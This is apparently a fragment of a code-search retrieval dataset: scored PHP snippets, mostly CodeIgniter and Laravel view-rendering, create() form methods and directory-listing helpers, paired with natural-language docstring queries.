$data['Ipath'] = $this->Ipath;\r\n\r\n $data['menu'] = $this->session->userdata('menu');\r\n\t\tif($view == 'dashboard'){\r\n $data['menu'] = '1000000';\r\n }\r\n\t\t\r\n if(!isset($data['conFunc'])){\r\n $data['conFunc'] = 'dashboard';\r\n }\r\n\r\n $this->load->view('admin/header', $data);\r\n $this->load->view('admin/'.$view, $data);\r\n $this->load->view('admin/footer', $data);\r\n }", "title": "" }, { "docid": "44ff34080f11ab90afc2235a7cd95050", "score": "0.6500969", "text": "public function render_view($view, $int = 0, $viewData = array()) {\n // get base path\n if($int) { $path = $this->dir_back($int); }\n\n // set full path\n $path .= \"/View\";\n $render = explode(\":\", $view);\n foreach($render as $bind) { $path .= \"/\" . $bind; }\n\n $path .= \".php\";\n\n // render view\n return require_once $path;\n }", "title": "" }, { "docid": "5bc8840d337f2858cb1841c9af3d53d9", "score": "0.64816827", "text": "function _render_page($view, $data=null, $render=false)\n {\n\n // $view_html = $this->load->view($view, $this->viewdata, $render);\n\n // if (!$render) return $view_html;\n\n $data = (empty($data)) ? $this->data : $data;\n if ( ! $render)\n {\n $this->load->library('template');\n\n if ( ! in_array($view, array('auth/index')))\n {\n $this->template->set_layout('pagelet');\n }\n\n if ( ! empty($data['title']))\n {\n $this->template->set_title($data['title']);\n }\n\n $this->template->load_view($view, $data);\n }\n else\n {\n return $this->load->view($view, $data, TRUE);\n }\n }", "title": "" }, { "docid": "8761ce9b427751a3a9346bd84d4e7987", "score": "0.6476898", "text": "protected function view($view, $data=array())\n {\n $data = array_merge($data, $this->data);\n $data['csrf_token'] = $this->session->userdata('csrf_token');\n $data['flash_message'] = $this->flash_message;\n $data['user'] = $this->session->userdata('user');\n $data['logged_in'] = $this->session->userdata('logged_in');\n\n // Strip tags from page_title\n if (isset($data['page_title'])) {\n $data['page_title'] = strip_tags($data['page_title']);\n }\n\n //If there is a header file, load it\n $header = (isset($data['header'])) ? $data['header'] : $this->header;\n if (! isset($data['no_header']) && ! isset($data['json'])) {\n $this->load->view($header, $data);\n }\n\n //Load main view file\n $this->load->view($view, $data);\n\n\n //If there is a footer file, load it\n $footer = (isset($data['footer'])) ? $data['footer'] : $this->footer;\n if (! isset($data['no_footer']) && ! isset($data['json'])) {\n $this->load->view($footer, $data);\n }\n\n //If the template is asking to debug, load it\n if (isset($this->clean->debug) && $this->user_admin === true) {\n $data['page_data'] = $data;\n $data['session'] = $this->session->all_userdata();\n $this->load->view('partials/debug', $data);\n }\n }", "title": "" }, { "docid": "71ab7a20c70161d86d06128fa0dbb9a2", "score": "0.6476591", "text": "function _render_page($view, $data=null, $render=false)\n {\n\n // $view_html = $this->load->view($view, $this->viewdata, $render);\n\n // if (!$render) return $view_html;\n\n $data = (empty($data)) ? $this->data : $data;\n if ( ! $render)\n {\n $this->load->library('template');\n\n if ( ! in_array($view, array('auth/index')))\n {\n $this->template->set_layout('pagelet');\n }\n\n if ( ! empty($data['title']))\n {\n $this->template->set_title($data['title']);\n }\n\n $this->template->load_view($view, $data);\n }\n else\n {\n\n return $this->load->view($view, $data, TRUE);\n }\n }", "title": "" }, { "docid": "71ab7a20c70161d86d06128fa0dbb9a2", "score": "0.6476591", "text": "function _render_page($view, $data=null, $render=false)\n {\n\n // $view_html = $this->load->view($view, $this->viewdata, $render);\n\n // if (!$render) return $view_html;\n\n $data = (empty($data)) ? $this->data : $data;\n if ( ! $render)\n {\n $this->load->library('template');\n\n if ( ! in_array($view, array('auth/index')))\n {\n $this->template->set_layout('pagelet');\n }\n\n if ( ! empty($data['title']))\n {\n $this->template->set_title($data['title']);\n }\n\n $this->template->load_view($view, $data);\n }\n else\n {\n\n return $this->load->view($view, $data, TRUE);\n }\n }", "title": "" }, { "docid": "71ab7a20c70161d86d06128fa0dbb9a2", "score": "0.6476591", "text": "function _render_page($view, $data=null, $render=false)\n {\n\n // $view_html = $this->load->view($view, $this->viewdata, $render);\n\n // if (!$render) return $view_html;\n\n $data = (empty($data)) ? $this->data : $data;\n if ( ! $render)\n {\n $this->load->library('template');\n\n if ( ! in_array($view, array('auth/index')))\n {\n $this->template->set_layout('pagelet');\n }\n\n if ( ! empty($data['title']))\n {\n $this->template->set_title($data['title']);\n }\n\n $this->template->load_view($view, $data);\n }\n else\n {\n\n return $this->load->view($view, $data, TRUE);\n }\n }", "title": "" } ]
06b048169d6000dd8f2954c77b1ec598
Show the form for creating a new resource.
[ { "docid": "2a46fdbfc8cb01983bb03691388f0169", "score": "0.0", "text": "public function create()\n {\n //\n }", "title": "" } ]
[ { "docid": "847f003a4addf6820c7b7d4e542cfa95", "score": "0.7909494", "text": "public function create()\n {\n $resource = $this->prepResource('create');\n $this->showBreadcrumb($resource, [null => 'Create New']);\n\n return $this->view(compact('resource'));\n }", "title": "" }, { "docid": "03bfd9797acc7936efbf149267039e5d", "score": "0.77260846", "text": "public function create()\n {\n return view('resource.create');\n }", "title": "" }, { "docid": "452dfa44b6fc27ed6e2aa675caef8e17", "score": "0.7706946", "text": "public function create() {\n return view('acl::resource.create');\n }", "title": "" }, { "docid": "c1a53014b3e8009982c57be36ab41329", "score": "0.75948673", "text": "public function create()\n {\n return $this->showForm('create');\n }", "title": "" }, { "docid": "c1a53014b3e8009982c57be36ab41329", "score": "0.75948673", "text": "public function create()\n {\n return $this->showForm('create');\n }", "title": "" }, { "docid": "2bc399e3e37eaad09b15e38f2a68e11a", "score": "0.75727344", "text": "public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}", "title": "" }, { "docid": "303de6e59e0dfcaa3323bed304cea7e1", "score": "0.7500156", "text": "public function create()\n {\n if(Gate::denies($this->resource.'-create'))\n return $this->backOrJson(request(), 'not_authorized', 'crud.not-authorized');\n\n $label = $this->label;\n $title = $this->title;\n $icon = $this->icon;\n \n $this->addToView($this->options());\n\n return request()->wantsJson() \n ? null\n : view('admin.'.$this->resource.'.form', array_merge($this->variablesToView, compact('label', 'title', 'icon')));\n }", "title": "" }, { "docid": "bb55b8b1372a305242b37dbd1e241a37", "score": "0.7487926", "text": "public function create() {\n return view('members.resources.createResource');\n }", "title": "" }, { "docid": "290e9e5c1e1c6771e2a48a7c39b658ae", "score": "0.73964167", "text": "public function create()\n\t{\n\t\treturn View::make('resourcetypes.create');\n\t}", "title": "" }, { "docid": "eefd3a34279d87bd94753b0beae69b0d", "score": "0.7391348", "text": "public function create()\n {\n return view('humanresources::create');\n }", "title": "" }, { "docid": "7c2dc6aee3a7b173b42ae8f6ff0e9ac2", "score": "0.73191345", "text": "public function create() //represents forms user fills out.\n {\n return view('create');\n }", "title": "" }, { "docid": "755e91a474eae625dfda22659e4c1f6c", "score": "0.72203404", "text": "public function create()\n {\n return view('form.create');\n }", "title": "" }, { "docid": "755e91a474eae625dfda22659e4c1f6c", "score": "0.72203404", "text": "public function create()\n {\n return view('form.create');\n }", "title": "" }, { "docid": "a079c2ff615466a913385f0f3bbf4c9d", "score": "0.7209733", "text": "public function create()\n {\n return view('project_resources/create');\n }", "title": "" }, { "docid": "56a59cf2c86c7085f5fdde712ee5ea06", "score": "0.7203657", "text": "public function create()\n {\n return view('sick.form', ['action' => 'create']);\n }", "title": "" }, { "docid": "d52a8d55018a5452356ebfeb392dad33", "score": "0.7202316", "text": "public function newAction()\n {\n $entity = new \\Cumts\\MainBundle\\Entity\\Show();\n $form = $this->createForm(new ShowType(), $entity);\n\n return $this->render('CumtsAdminBundle:Show:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "50c363b98b85b902c0b33495df17fc28", "score": "0.71889836", "text": "public function create()\n {\n return view('Admin.Forms.create');\n }", "title": "" }, { "docid": "99c209c7d567bb6a386886e720582d3f", "score": "0.71736616", "text": "public function newAction()\n {\n $entity = $this->getNewEntity();\n $alias = $this->getAlias();\n $fields = $this->getFields('new');\n\n $form = $this->createCreateForm($entity, $alias, $fields);\n\n return $this->render(\n 'SgDatatablesBundle:Crud:new.html.twig',\n array(\n 'entity' => $entity,\n 'form' => $form->createView()\n )\n );\n }", "title": "" }, { "docid": "d7792233bdf3a051b8ecc8a3bf85491e", "score": "0.717068", "text": "public function create()\n {\n return view('admin.form.create');\n }", "title": "" }, { "docid": "182ce5c02e801fee3966edc96be1055e", "score": "0.7139064", "text": "public function create()\n {\n return view('form-create');\n }", "title": "" }, { "docid": "e1317794bf2d1789fb3df24f34664b93", "score": "0.7128814", "text": "public function create()\n {\n return view('admin.' . $this->obj_name . '.form');\n }", "title": "" }, { "docid": "9a87c89323c16332dd5980c005f9fd73", "score": "0.71161574", "text": "public function create()\n {\n return view('admin.retiros.partials.createForm');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71158516", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71158516", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71158516", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "fa84f7150b87a66588bfc89685d8fe4c", "score": "0.71158516", "text": "public function create()\n {\n return view('form');\n }", "title": "" }, { "docid": "4618d70cb6b1be4af26372f030bb7274", "score": "0.710939", "text": "public function create()\n {\n return view('livro.form');\n }", "title": "" }, { "docid": "21b741286121defb618cafb010ad9311", "score": "0.7101174", "text": "public function create()\n {\n return view('admin.crud.edit-new');\n }", "title": "" }, { "docid": "d42793f140a997f3a5618ebf3a790d1b", "score": "0.7097341", "text": "public function create()\n {\n return view('Admin.generals.form');\n }", "title": "" }, { "docid": "e1be67b632033f807b2cefd97a7e5682", "score": "0.7095487", "text": "public function create()\n {\n $meta = \"Create\";\n return view('driver.form', compact('meta'));\n }", "title": "" }, { "docid": "e6d14f751da329891ae59d3d0614b844", "score": "0.7088803", "text": "public function create()\n {\n return view('backend::module.form');\n }", "title": "" }, { "docid": "ba36d03e3181e8d29ef780e9f1b47d8e", "score": "0.70807815", "text": "public function create()\n {\n return view('applicationforms.create');\n }", "title": "" }, { "docid": "c27004d00e3f9afb85f74623ec456ca9", "score": "0.708025", "text": "public function create()\n {\n //\n return view('form');\n }", "title": "" }, { "docid": "d91864a90a03af3679687f163da22716", "score": "0.7078707", "text": "public function create()\n {\n return view(\"pages-ui::backend.form\", [\n \"extends\" => config(\"pages-ui.backend.template_to_extend\", \"layouts.app\"),\n \"edit\" => false,\n ]);\n }", "title": "" }, { "docid": "19a8b4682806788e584645f302bff901", "score": "0.7070855", "text": "public function newAction()\n {\n $manager = $this->container->get('zimzim_construction_site_actionitemmanager');\n $entity = $manager->createEntity();\n $form = $this->createCreateForm($entity, $manager);\n\n return $this->render(\n self::DIR.':new.html.twig',\n array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n )\n );\n }", "title": "" }, { "docid": "868d619f6ddd72d0196bd0112e6d14a0", "score": "0.7068269", "text": "public function create()\n {\n $items = $this->model->get();\n return view('admin.' . str_plural($this->essence) . '.form', [\n 'essence' => $this->essence,\n 'items' => $items,\n ]);\n }", "title": "" }, { "docid": "a717d49d12459178d0ea648de34b92f3", "score": "0.7053267", "text": "public function create()\n {\n return view('submit_forms.create');\n }", "title": "" }, { "docid": "88bddae014db0489caa5efa7d888b963", "score": "0.70453197", "text": "public function newAction()\n {\n $entity = new Cliente();\n $form = $this->createForm(new ClienteType(), $entity);\n\n return $this->render('ContadoresBundle:Cliente:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'cliente_new'\n ));\n }", "title": "" }, { "docid": "2885b0aa30fbd2b9a13afbabd00ca579", "score": "0.70360965", "text": "public function create()\n {\n return view('AdminPanel.Supplier.form');\n }", "title": "" }, { "docid": "0c1144eddfb806ac17f30214bdfede15", "score": "0.70316905", "text": "public function create()\n {\n return view('cat.form_create');\n }", "title": "" }, { "docid": "e1571e560aab196c00674cc03cd106df", "score": "0.7028034", "text": "public function newAction()\n {\n $entity = new Formation();\n $form = $this->createCreateForm($entity);\n\n return $this->render('FormationAdminBundle:Formation:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "d12ec07b606c2d87e70c0e3602b230c7", "score": "0.7027543", "text": "public function create()\n {\n return view('admin.resources.person.create');\n }", "title": "" }, { "docid": "e2a9ae8284cc267325c107ada7cdb536", "score": "0.70238173", "text": "public function create()\n {\n return View::make('form.add');\n }", "title": "" }, { "docid": "40b5fe05bbe7fe1fc32074241497237e", "score": "0.70228195", "text": "public function create()\n {\n \treturn view ('backend.professor.create');\n }", "title": "" }, { "docid": "f8ec369da210a363de27940e92b3f84d", "score": "0.70125043", "text": "public function create()\n {\n return view('libro.formlibro');\n }", "title": "" }, { "docid": "df9822b231f9e125e4b3aa9bc0b50b54", "score": "0.7000799", "text": "public function newAction()\n {\n return $this->renderCreationForm(new User(), new UserType(), 'User', 'FsbMediaFilesIndexBundle');\n }", "title": "" }, { "docid": "d3818ee7b8a6f5feddcf93f25df0fe6b", "score": "0.6986593", "text": "public function create()\n {\n return view('students._form');\n }", "title": "" }, { "docid": "bad09d21897077a09fc9ba04b37aa535", "score": "0.69801325", "text": "public function create()\n\t{\n\t\treturn view('dienthoai.create');\n\t}", "title": "" }, { "docid": "bfc2f651a3ad53ba32a1f0624b2baf70", "score": "0.6976104", "text": "public function create()\n {\n return view('fabricante.form');\n }", "title": "" }, { "docid": "38d1a27327ac4a367aba240dedebaa0e", "score": "0.69747853", "text": "public function showCreateNewClientForm()\n {\n return view('admin.createNewClientForm');\n }", "title": "" }, { "docid": "65c79b36d9444a6beccf14aac7b2b045", "score": "0.6973617", "text": "public function create()\n {\n return view('product.form', \n [\n 'product' => new Product\n ]);\n }", "title": "" }, { "docid": "daf28f960dad10d136b88bf0cb698afe", "score": "0.69729453", "text": "public function create()\n\t{\n\t\treturn view('siswa.add');\n\t}", "title": "" }, { "docid": "77b32a1a2812f894a1084db4a0c3b2d8", "score": "0.6965231", "text": "public function create()\n {\n $title = trans('option.new');\n\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }", "title": "" }, { "docid": "4e37d311d6990013b0ed72549d9fd35f", "score": "0.69635546", "text": "public function create()\n {\n return view('product.form');\n }", "title": "" }, { "docid": "9cb057d0f77e53e0cce5708d50a6481b", "score": "0.6962359", "text": "public function create()\n {\n return view('new');\n }", "title": "" }, { "docid": "9cb057d0f77e53e0cce5708d50a6481b", "score": "0.6962359", "text": "public function create()\n {\n return view('new');\n }", "title": "" }, { "docid": "9cb057d0f77e53e0cce5708d50a6481b", "score": "0.6962359", "text": "public function create()\n {\n return view('new');\n }", "title": "" }, { "docid": "80055340b1924d51914b16fcf2fee697", "score": "0.6960298", "text": "public function newAction()\n {\n $entity = new Client();\n $form = $this->createCreateForm($entity);\n return $this->render('ProjectFilmsBundle:Default:singup.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n}", "title": "" }, { "docid": "d607449c2320c1a6b73af5c48d80dea8", "score": "0.695971", "text": "public function create()\n {\n\t\treturn view('Master.SMD.product_form');\n }", "title": "" }, { "docid": "41eb11154e57dff75498fcf25564c134", "score": "0.6952435", "text": "public function create()\n {\n return view('admin.book.add');\n }", "title": "" }, { "docid": "c99a469be2dc77ac788affd5c609736e", "score": "0.69498503", "text": "public function create()\n\t{\n\t\treturn view('tanah.create');\n\t}", "title": "" }, { "docid": "9c1725367be54b1702af65b52b997aa8", "score": "0.69449973", "text": "public function create()\n {\n //\n return view('village.form');\n }", "title": "" }, { "docid": "72f0db297092df3a05f0662bbcf847e2", "score": "0.6942181", "text": "public function create()\n {\n return \"Provide a form for creating a new bookmark\";\n }", "title": "" }, { "docid": "fd3e19a66d87f8e5b9e62eeab1859fd6", "score": "0.694158", "text": "public function create()\n {\n return view ('admin.choice.create');\n }", "title": "" }, { "docid": "5a43ba5452e70f5a9984d0dd656c9e9d", "score": "0.6939963", "text": "public function create()\n {\n return view('admin.student.add');\n }", "title": "" }, { "docid": "d2dfb39011e7751d334f3b102132bcc0", "score": "0.6937871", "text": "public function create()\n {\n return view('libro.create');\n }", "title": "" }, { "docid": "8f8abe7734d2df10a7d0bf9300d89ffd", "score": "0.6936004", "text": "public function create()\n\t{\n\t\tif ( ! \\Util::getAccess('Objetos', 'Insert')) return $this->accessFail();\n\t\t\n\t\t$objeto = new Objeto;\n\t\t$title = $this->title;\t\t\n $form_data = array('route' => 'objetos.store', 'method' => 'POST');\n $action = 'Ingresar'; \n\t\t$action_label = \\Lang::get('utils.Ingresar');\n\n return View::make('objetos/form', compact('objeto', 'title', 'form_data', 'action', 'action_label'));\n\t}", "title": "" }, { "docid": "8adebbe6d78e1269103db957362b2b48", "score": "0.6934276", "text": "public function create()\n {\n return view('admin.concepto.create');\n }", "title": "" }, { "docid": "cefebec03f775a193c7c4e8a62aa577f", "score": "0.6933069", "text": "public function create()\n {\n $this->data('model', new Question);\n\n $this->data('page_title', trans('labels.question_create'));\n\n $this->breadcrumbs(trans('labels.question_create'));\n\n return $this->render('views.question.create');\n }", "title": "" }, { "docid": "a0cec03d417a249e7b508d296e8928e7", "score": "0.6927707", "text": "public function new()\n {\n return view('backend.create');\n }", "title": "" }, { "docid": "b39914295738987f9eaa881efd81b08a", "score": "0.6924082", "text": "public function create()\n\t{\n\t\treturn view('hijos.create');\n\t}", "title": "" }, { "docid": "1b6fea0f3d627491bca24cc0ec1943b3", "score": "0.6922099", "text": "public function create()\n {\n $data['url'] = route('admin.'.$this->route . '.store');\n $data['title'] = 'Add ' . $this->viewName;\n $data['module'] = $this->viewName;\n $data['resourcePath'] = $this->view;\n $data['vendors'] = User::where([['status',1],['role',1]])->get();\n $data['brands'] = Brand::where('status',1)->get();\n\n return view('admin.general.add_form')->with($data);\n }", "title": "" }, { "docid": "0db3c2ce6e391f38a76280c98d234b3e", "score": "0.6913334", "text": "public function create()\n {\n return view(\"admin.main.general.create\");\n }", "title": "" }, { "docid": "d88972ac1a628783a7fbb403d9a8dcfc", "score": "0.6907519", "text": "public function create()\n {\n return view ('darbuotojai.create');\n }", "title": "" }, { "docid": "72d216b75443b4090ac0a1387c18009c", "score": "0.6906656", "text": "public function create()\n {\n //\n return view('crud.add');\n }", "title": "" }, { "docid": "675ca45cdb19e54120f6c28ad08c6960", "score": "0.69062245", "text": "public function createAction(): object\n {\n $this->checkIfLoggedIn();\n\n $page = $this->di->get(\"page\");\n $form = new CreateQuestion($this->di);\n $form->check();\n\n $page->add(\"question/crud/create\", [\n \"form\" => $form->getHTML(),\n ]);\n\n return $page->render([\n \"title\" => \"Ny fråga\",\n ]);\n }", "title": "" }, { "docid": "8a2147b2e963c3ef756e24bfe402ca2e", "score": "0.69051594", "text": "public function create()\n {\n return view(\"admin.driver.form\");\n }", "title": "" }, { "docid": "a30ccd806cf5bb09abba11f75d4178c0", "score": "0.69034714", "text": "public function newAction()\n {\n $form = $this->createForm(new RegistrationType(), new Registration());\n\n return $this->render('McmsEmployeeBundle:Admin:new.html.twig',array(\n 'form' => $form->createView()\n ));\n }", "title": "" }, { "docid": "170085833f62c2562297ca840c892ec8", "score": "0.68962324", "text": "public function newAction()\n {\n $entity = new Carroceria();\n $form = $this->createCreateForm($entity);\n\n return $this->render('ColombiaAutosadministradorBundle:Carroceria:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }", "title": "" }, { "docid": "a43ba09f835dbd27d4a3433e6207db17", "score": "0.6891616", "text": "public function create()\n {\n return view('admin.car.create');\n }", "title": "" }, { "docid": "52b58d6fc4a50661368b682a572eca31", "score": "0.6890648", "text": "public function create()\n {\n return view('main.create');\n }", "title": "" }, { "docid": "6769fe63e35d4f98abe507728065b246", "score": "0.6890337", "text": "public function create()\r\n {\r\n return view('superadmin::create');\r\n }", "title": "" }, { "docid": "f06c8b94a60d9059ad36c228a0917999", "score": "0.68900883", "text": "public function create()\n {\n //\n\n\n //default active sidebar\n $this->setActiveParent();\n\n //[] = current query object\n //null = current request\n $form_fields = DynamicForm::form_fields('create', [], null, Person::form_fields() );\n\n return view('persons.create', compact('form_fields'));\n\n\n }", "title": "" }, { "docid": "78ad8491acd5385f24f5ae5f822678c9", "score": "0.6889061", "text": "public function create()\n\t{\n\t\treturn view('maquinas.create');\n\t}", "title": "" }, { "docid": "bdb0161d2f2f44cdaea93bf890a4c02e", "score": "0.68880934", "text": "public function create()\n {\n return view(\"create\");\n }", "title": "" }, { "docid": "bdb0161d2f2f44cdaea93bf890a4c02e", "score": "0.68880934", "text": "public function create()\n {\n return view(\"create\");\n }", "title": "" }, { "docid": "82fa764bee41d4c3cd502aeb977ac7aa", "score": "0.6887289", "text": "public function create()\r\n {\r\n //\r\n $title = ['title' => 'New Customer'];\r\n return view('forms.customer', $title);\r\n }", "title": "" }, { "docid": "cad48560e9ff66dc125cc429d28e9bff", "score": "0.6885613", "text": "public function create()\n\t{\n\t\treturn view('admin.add');\n\t}", "title": "" }, { "docid": "be02b3d6619c1ed55fce9db593195fb0", "score": "0.6883378", "text": "public function create()\n {\n return view ('rubro.create');\n }", "title": "" }, { "docid": "61f6eddf2e8e1651e313b0358ddb9d29", "score": "0.6880583", "text": "public function create()\n {\n $title = trans('religion.new');\n return view('layouts.create', compact('title'));\n }", "title": "" }, { "docid": "ba7e10af83b6a9def1f1ab3ca7b230a1", "score": "0.6880075", "text": "public function create()\n {\n //\n return view('fasilitass.create');\n }", "title": "" }, { "docid": "bb899035deb9e2ae019bb95d733db21b", "score": "0.6877273", "text": "public function create()\n {\n $model = new SupplierModel();\n return view('dashboard.form', compact('model'));\n }", "title": "" }, { "docid": "e9fdb84b89fc16f5dc603f982295014a", "score": "0.6874308", "text": "public function create()\n\t{\n\t\treturn view('drama.create');\n\t}", "title": "" }, { "docid": "0cf738a5e59aa5d58e20e3538192db7d", "score": "0.6874174", "text": "public function create()\n {\n return view('port.main.create');\n }", "title": "" }, { "docid": "a052e9655360674093e5af6adf7d43e9", "score": "0.68733674", "text": "public function create()\n {\n $catalogs = CatalogServices::getAllCatalog();\n return view('components.products.add-form', compact('catalogs'));\n }", "title": "" }, { "docid": "021e8263ec26fa7e27d11fcfdc84da77", "score": "0.6870801", "text": "public function create()\n {\n return view('back.actions.create');\n }", "title": "" }, { "docid": "c503b35740e1792c403a88d8c50d856f", "score": "0.6869266", "text": "public function create()\n {\n return view(\"almacen.carrito.create\"); \n }", "title": "" }, { "docid": "5259e968b5dbb1b3e52be75d40a02866", "score": "0.68644255", "text": "public function create() {\n\n\t\treturn view('add');\n\t}", "title": "" }, { "docid": "8d3c38482140a40f4dbe44678bb1d515", "score": "0.6863528", "text": "public function create()\n {\n return view('master.form.sellout-form');\n }", "title": "" }, { "docid": "586b3f9f7932936d0639c9d4960679b7", "score": "0.68621755", "text": "public function create()\n\t{\n\t\treturn View::make('quantridanhmuchoithi.create');\n\t}", "title": "" }, { "docid": "7b28f26445b6881c693a90b24ca99ad8", "score": "0.6859603", "text": "public function create()\n {\n return view('manage.create');\n }", "title": "" } ]
ed0e57fd3fa304a402d8822787dd6d51
create an array to hold directory list
[ { "docid": "ad45b7c5af9fa28271e9f75db0e6ec2d", "score": "0.6165861", "text": "function getDirectoryList ($directory) \n {\n $results = array();\n\n // create a handler for the directory\n $handler = opendir($directory);\n\n // open directory and walk through the filenames\n while ($file = readdir($handler)) {\n\n // if file isn't this directory or its parent, add it to the results\n if(substr($file,0,1) != \".\") {\n \n \tif (substr($file,0,1) != \".\") {\n \t\n \t\n \t $testfile = \"cache/\" . $file . \"/\" . \"31.jpg\";\n \t if (file_exists($testfile)) {\n \t \n \t$results[] = array($file, filemtime(\"cache/\" . $file));\n }\n \t}\n }\n }\n\n // tidy up: close the handler\n closedir($handler);\n\n // done!\n return $results;\n\n }", "title": "" } ]
[ { "docid": "b5017688a7ee6251cbfd63225d9fac5e", "score": "0.7116973", "text": "public function getDirectoryParts(): array;", "title": "" }, { "docid": "45b4bc6a34a0d0297f169738d648ecd7", "score": "0.70474684", "text": "function getDirectoriesList()\r\n {\r\n global $lang, $config;\r\n $directories = array();\r\n\r\n if (!$this->getCurrentFsDir()) {\r\n return $directories;\r\n }\r\n\r\n if ($dh = @opendir($this->getCurrentFsDir())) {\r\n while (false !== ($file = readdir($dh))) {\r\n if (is_dir($this->getCurrentFsDir().$file) and $file{0} != '.') {\r\n $directories[] = $file;\r\n }\r\n }\r\n closedir($dh);\r\n } else {\r\n return false;\r\n }\r\n\r\n // sort\r\n natcasesort($directories);\r\n\r\n // load details\r\n foreach ($directories as $key=>$file) {\r\n $directories[$key] = array(\r\n 'name' => $file,\r\n 'date' => $this->getFileDate($file),\r\n 'size' => $this->getFileSize($file),\r\n 'descr' => $lang->m('file_folder', 'file_details'),\r\n 'icon' => '../plugins/spawfm/img/'.$config->getConfigValueElement('PG_SPAWFM_FILETYPES_ICON_FOLDER', 'icon'),\r\n 'icon_big' => '../plugins/spawfm/img/'.$config->getConfigValueElement('PG_SPAWFM_FILETYPES_ICON_FOLDER', 'icon_big'),\r\n 'thumb' => $this->getFileThumbnail($file),\r\n 'other' => ''\r\n );\r\n }\r\n\r\n return $directories;\r\n }", "title": "" }, { "docid": "1bf0d9eef755c512eeb49419846109f2", "score": "0.6843058", "text": "function dirToArray($dir,$path) {\n $contents = array(); \n foreach (scandir($dir) as $node) {\n if ($node == '.') continue;\n if ($node == '..') continue;\n if (is_dir($dir . DIRECTORY_SEPARATOR . $node)) { \n $path = realpath($dir.DIRECTORY_SEPARATOR.$node);\n \n $contents[] = array('type'=>'dir','name' =>$node, 'files'=>dirToArray($dir . DIRECTORY_SEPARATOR . $node,$path));\n } else {\n if(strtolower(php_uname(\"n\"))==\"myshopify.stage\"){\n $suburl = str_replace('index.php/', '', SITE_URL) . str_replace(API_DIRECT_PATH . \"/\", '', $path);\n } else {\n $suburl = str_replace('api.', '', SITE_URL) . str_replace(API_DIRECT_PATH, '', $path);\n }\n $contents[] = array('type'=>'file','name' =>$node,'link'=> $suburl . DIRECTORY_SEPARATOR . $node);\n }\n }\n return $contents;\n}", "title": "" }, { "docid": "192b39f7a3e03b86afe9eca5a4ad9c50", "score": "0.68406415", "text": "function dirToArray($dir) {\n $result = array();\n $cdir = scandir($dir);\n foreach ($cdir as $key => $value)\n { \n if($value === '.' || $value === '..') {continue;}\n if(is_file(\"$dir/$value\")) {\n //$result[]=\"$dir/$value\";\n $result[$value]['content_type'] = mime_content_type(\"$dir/$value\");\n $result[$value]['suggested_name'] = $value;\n $result[$value]['protected_path'] = \"$dir/$value\";\n continue;\n }\n foreach(dirToArray(\"$dir/$value\") as $value)\n { \n $result[]=$value;\n }\n }\n return $result;\n }", "title": "" }, { "docid": "3a34777632798a0cb5dbdc23a139f551", "score": "0.67864335", "text": "protected function arrays()\n {\n $this->realArray = $this->array = scandir(self::$path);\n }", "title": "" }, { "docid": "12cc787932f4f540d216115614168eaf", "score": "0.6733779", "text": "public function get_dirs()\n\t{\n\t\tglobal $_base;\n\t\t\n\t\t// hent mappene med antall undermapper og filer\n\t\t$result = \\Kofradia\\DB::get()->query(\"SELECT m.cfd_id, m.cfd_title, m.cfd_description, m.cfd_access_level, COUNT(r.cfd_id) count_dirs, COUNT(cff_id) count_files FROM crewfiles_directories m LEFT JOIN crewfiles_directories r ON m.cfd_id = r.cfd_parent_cfd_id LEFT JOIN crewfiles_files ON m.cfd_id = cff_cfd_id WHERE m.cfd_parent_cfd_id = $this->id GROUP BY m.cfd_id ORDER BY m.cfd_title\");\n\t\t\n\t\t// les mappene\n\t\t$dirs = array();\n\t\twhile ($row = $result->fetch())\n\t\t{\n\t\t\t$dirs[$row['cfd_id']] = $row;\n\t\t}\n\t\t\n\t\treturn $dirs;\n\t}", "title": "" }, { "docid": "f048bedafc27e84c7e6b396027427c3c", "score": "0.6700463", "text": "public function dirs() {\r\n\t\t$dirs = array();\r\n\t\t$path = $this->app->request->get('path', 'string');\r\n\t\tforeach ($this->app->path->dirs('root:'.$this->getDirectory().$path) as $dir) {\r\n\t\t\t$count = count($this->app->path->files('root:'.$this->getDirectory().$path.'/'.$dir, false, $this->filter));\r\n\t\t\t$dirs[] = array('name' => basename($dir) . \" ($count)\", 'path' => $path.'/'.$dir, 'type' => 'folder');\r\n\t\t}\r\n\r\n\t\treturn json_encode($dirs);\r\n\t}", "title": "" }, { "docid": "f1db1e9b90f7e9b3a08b2eb221b11300", "score": "0.66351336", "text": "function to_a(&$directories=null):array{\n if(!$directories){\n $directories = [];\n }\n \n $that = $this;\n foreach($this->walk() as $file){\n\n $array = [];\n \n // if it's a directory, we loop on it\n if(is_dir($file)){\n $sub_dir = new DirectoryLister($file, $that->include_items);\n $name = get_basename($file) ;\n $array['name'] = $name;\n //$array['title'] = $name;\n $array['className'] = 'dir';\n $array['children'] = $sub_dir->to_a();\n array_push($directories, $array);\n // if it's a file\n }else{\n $name = get_basename($file) ;\n foreach($this->include_items as $item){\n if(endsWith($name,$item)){\n $array['name'] = $name;\n $array['url'] = $file;\n $array['className'] = 'file';\n array_push($directories, $array);\n }\n }\n \n } \n }\n return $directories;\n \n }", "title": "" }, { "docid": "850bc218e1e4620b2375a3be0a93b01d", "score": "0.6601332", "text": "public static function getDirListAsArray($dirname)\r\n {\r\n $dirlist = [];\r\n if (is_dir($dirname) && $handle = opendir($dirname))\r\n {\r\n while (false !== ($file = readdir($handle)))\r\n {\r\n if (!preg_match(\"/^[.]{1,2}$/\", $file))\r\n {\r\n if ('cvs' != strtolower($file) && is_dir($dirname . $file))\r\n {\r\n $dirlist[$file] = $file;\r\n }\r\n }\r\n }\r\n closedir($handle); \r\n\r\n reset($dirlist);\r\n }\r\n return 